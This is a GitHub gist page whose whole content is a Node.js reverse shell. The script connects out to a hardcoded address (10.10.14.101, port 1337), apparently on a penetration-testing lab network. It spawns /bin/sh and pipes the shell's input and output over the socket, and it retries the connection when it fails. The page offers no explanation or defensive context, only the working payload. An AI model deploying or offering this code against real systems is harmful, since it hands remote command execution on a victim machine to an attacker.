Skip to content

Instantly share code, notes, and snippets.

@mitchmoser
Created August 27, 2018 05:12
Show Gist options
  • Save mitchmoser/f6df9b7de4e6785ed66fd86082d02d69 to your computer and use it in GitHub Desktop.
Save mitchmoser/f6df9b7de4e6785ed66fd86082d02d69 to your computer and use it in GitHub Desktop.
var net = require('net');
var spawn = require('child_process').spawn;
HOST="10.10.14.101";
PORT="1337";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment